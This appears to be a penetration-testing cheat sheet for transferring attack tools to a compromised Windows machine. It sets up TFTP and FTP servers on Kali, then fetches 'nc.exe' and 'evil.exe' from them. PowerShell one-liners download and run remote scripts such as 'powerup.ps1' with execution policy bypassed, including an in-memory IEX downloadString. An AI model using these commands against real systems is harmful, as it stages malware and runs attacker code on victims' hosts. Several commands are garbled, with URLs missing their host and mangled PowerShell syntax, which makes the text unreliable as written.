TFTP
atftpd --daemon --port 69 /tftp Windows> tftp -i 192.168.30.45 GET nc.exe
FTP (pyftpdlib client on Kali)
apt-get install python-pyftpdlib
python -m pyftpdlib -p 21
ftp
binary get exploit.exe
FTP (pureftpd client on Kali)
apt-get install pure-ftpd
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
Create a directory for your ftp-files (you can also specify a specific user e.g.: /root/ftphome/bob).
mkdir /root/ftphome
pure-pw useradd bob -u ftpuser -g ftpgroup -d /root/ftphome/
pure-pw mkdb
chown -R ftpuser:ftpgroup /root/ftphome
/etc/init.d/pure-ftpd restart
echo open 21> ftp.txt echo USER username password >> ftp.txt echo bin >> ftp.txt echo GET evil.exe >> ftp.txt echo bye >> ftp.txt ftp -s:ftp.txt
Powershell echo $storageDir = $pwd > wget.ps1 echo $webclient = New-Object System.Net.WebClient >>wget.ps1 echo $url = "http:///powerup.ps1" >>wget.ps1 echo $file = "powerup.ps1" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1 powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
powershell "IEX(New Object Net.WebClient).downloadString('http:///file.ps1')"